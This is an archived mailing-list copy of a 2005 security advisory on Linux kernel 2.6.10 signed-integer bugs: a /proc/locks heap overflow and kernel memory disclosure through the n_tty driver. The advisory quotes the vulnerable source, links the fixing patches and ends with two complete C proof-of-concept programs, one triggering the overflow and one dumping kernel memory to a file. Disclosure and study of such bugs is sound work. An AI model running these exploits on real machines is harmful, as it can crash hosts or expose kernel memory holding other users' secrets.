lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
From: guninski at guninski.com (Georgi Guninski)
Subject: linux kernel 2.6 fun. windoze is a joke

Georgi Guninski security advisory #73, 2004

linux kernel 2.6 fun. windoze is a joke

Systems affected:
linux kernel 2.6.10, probably earlier 2.6.
2.4 not tested

Date: 15 February 2005

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You  may  not  modify	it   and   distribute	it   or   distribute   parts
of it without the author's written permission - this especially  applies  to
so called "vulnerabilities databases"  and  securityfocus,  microsoft,	cert
and mitre.
If   you   want    to	 link	 to    this    content	  use	 the	URL:
http://www.guninski.com/where_do_you_want_billg_to_go_today_3.html
Anything in this document may change without notice.

Disclaimer:
The  information  in  this  advisory  is  believed   to   be   true   though
it may be false.
The opinions  expressed  in  this  advisory  and  program  are	my  own  and
not   of   any	 company.    The   usual   standard   disclaimer    applies,
especially the fact that Georgi Guninski  is  not  liable  for	any  damages
caused by direct  or  indirect	use  of  the  information  or  functionality
provided  by  this  advisory  or  program.    Georgi   Guninski   bears   no
responsibility for  content  or  misuse  of  this  advisory  or  program  or
any derivatives thereof.

Description:

There is misuse of signed types in 2.6, leading to buffer overflow and
reading kernel memory.

Details:

WDYBTGT3-1:

there is heap overflow in /proc in at least 2.6.10 and 2.6.11rc1-bk6 (
have not tested 2.4) on i386.

it is combination of:

1.
fs/proc/generic.c:63
proc_file_read(struct file *file, char __user *buf, size_t nbytes,
               loff_t *ppos)
        while ((nbytes > 0) && !eof) {
                count = min_t(ssize_t, PROC_BLOCK_SIZE, nbytes);

(ssize_t) cast is the bug.

2.
proc_misc:
static int locks_read_proc(char *page, char **start, off_t off,
                                 int count, int *eof, void *data)
{

the problem is "off_t off" which on i386 is long, while llseek uses loff_t
which is "long long".


so it is possible to land in locks_read_proc with both "count" and "off"
negative longs but with positive sum, which leads to overflow.

WDYBTGT3-2:

it is possible to read kernel memory on at least 2.6.10 and 2.6.11rc1 on
i386.

the problem is in drivers/char/n_tty.c

-----------------------
static inline int copy_from_read_buf(struct tty_struct *tty,
                                      unsigned char __user **b,
                                      size_t *nr)
ssize_t n;

n = min((ssize_t)*nr, n);
        ^^^^^^^^^
spin_unlock_irqrestore(&tty->read_lock, flags);
if (n) {
       mb();
        retval = copy_to_user(*b, &tty->read_buf[tty->read_tail], n);
                                                                 ^^^

WDYBTGT3-3:

have not been verified on real iron, but this codepath is suspicous:

net/atm/resources.c
int atm_dev_ioctl(unsigned int cmd, void __user *arg)
{
        if (get_user(len, &sioc->length))
                return -EFAULT;

        case ATM_GETADDR:
                        error = atm_get_addr(dev, buf, len);
                        if (error < 0)



net/atm/addr.c
int atm_get_addr(struct atm_dev *dev,struct sockaddr_atmsvc __user *buf,int
size)
{
        unsigned long flags;
        struct atm_dev_addr *walk;
        int total = 0, error;
      if (copy_to_user(buf, tmp_buf, total < size ? total : size))
                                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^             

WDYBTGT3-4:
have not been verified on real iron, but this codepath is suspicous:

fs/reiserfs/file.c:622
int reiserfs_copy_from_user_to_file_region(
...
int count = min_t(int,PAGE_CACHE_SIZE-offset,write_bytes);
page_fault = __copy_from_user(page_address(page)+offset, buf, count);

[dangerous only if sizeof(size_t) > sizeof(int) ]



WDYBTGT3-5:


Fix:

2.6.11-rc4 availabe at http://www.kernel.org/ fixes the "anomalies" and in
addition adds some checks at the vfs layer and copy_from_user.

Individual patches:

http://linux.bkbits.net:8080/linux-2.6/cset@...1818eC6aMn0x3GY_9rw3ueb2ZWQ?nav=index.html|ChangeSet@-4w
http://linux.bkbits.net:8080/linux-2.6/cset@...181322LZmhPTewcCOLkubGwOL3w?nav=index.html|ChangeSet@-4w
http://linux.bkbits.net:8080/linux-2.6/cset@...8e1fcfccuD-eH2OGM5mBhihmQ3A?nav=index.html|ChangeSet@-4w
http://linux.bkbits.net:8080/linux-2.6/cset@...18227TkNpHlX6BefnItV_GqMmzQ?nav=index.html|ChangeSet@-4w

proggies:


/*
 * copyright georgi guninski
 * cannot be used in vulnerability databases like securityfocus and mitre
 * 
 * */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/file.h>
#include <syscall.h>
#include <errno.h>

_syscall5(int,  _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
       uint, wh)

void makefiles()
{
	int cou,fv;
	char vn[242];
	for(cou=0;cou<920;cou++)
	{	
		snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
		fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
		if (fv <0) perror("open2");
		if (flock(fv,LOCK_EX) == -1) perror("flock");
		
	}
	while(42);
}

int main(int ac, char **av)
{
	int fd,fv,i,cou;
	void *mv;
	char *he,*he2;
	loff_t lr;
	char c;
	

	printf("\n\nThis may seriously screw your box\n\n");
	printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
	printf("Press 'Y' to run it\n");
	read(0,&c,1);
	if (c != 'Y') return 42;
	cou=5;
	printf("creating files...\n");	
	while(cou--)
		if (!fork())
			makefiles();

	sleep(20);
	printf("starting...\n");	
	system("sync");
	fd=open("/proc/locks",O_RDONLY);
	if (fd <0) perror("open");
	he=malloc(1024*1024*8);
	he2=malloc(1024*1024*8);
	
	
	if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
	i=read(fd,he2, 0x80004242);
	perror("read");
	printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
	while(42);
	return 42;
}

================================================


/*
 * Copyright Georgi Guninski
 * Cannot be used in vulnerability databases like security focus and mitre
 * */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/vt.h>
#include <sys/vt.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <term.h>
#include <sys/mman.h>


int main(int ac, char **av)
{
int fd,fv;
int cou=4242,i;
char *bu;
struct termios ti;
struct termios ol;
char zer[1024];

fd=open("/dev/tty",O_RDWR);
if (fd<0) {perror("open");return -42;}
memset(&ti,0,sizeof(ti));
fv=open("kmem1",O_CREAT|O_RDWR|O_TRUNC,S_IRWXU);
if (fv <0 ) perror("open2");

/* how much to read in kilobytes*/
i=40*1024;

memset(zer,0,sizeof(zer));
while(i--) write(fv,zer,sizeof(zer));

bu=mmap(0,0x80000000,PROT_READ|PROT_WRITE,MAP_SHARED,fv,0);
if (-1 == (long) bu) perror("mmap");
printf("bu=%x\n",(int)bu);
if (ioctl(fd,TCGETS,&ti) < 0) perror("TCGETS");
ol=ti;
ti.c_lflag &= (~ICANON & ~ISIG & ~ICRNL & ~IXON & ~OPOST );
if (ioctl(fd,TCSETS,&ti) < 0) perror("TCSETS");
if (!fork()) 
	{sleep(3);ioctl(fd,TIOCSTI,&cou);exit(0);};
sleep(2);
cou=read(fd,bu,0x80000000);
printf("read=%d\n",cou);
perror("read");

if (ioctl(fd,TCSETS,&ol) < 0) perror("TCSETS");
printf("done. check 'kmem1'");
system("reset");
return 42;
}



-- 
And did you exchange a walk on part in the war for a lead role in a cage?
 // pink floyd

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ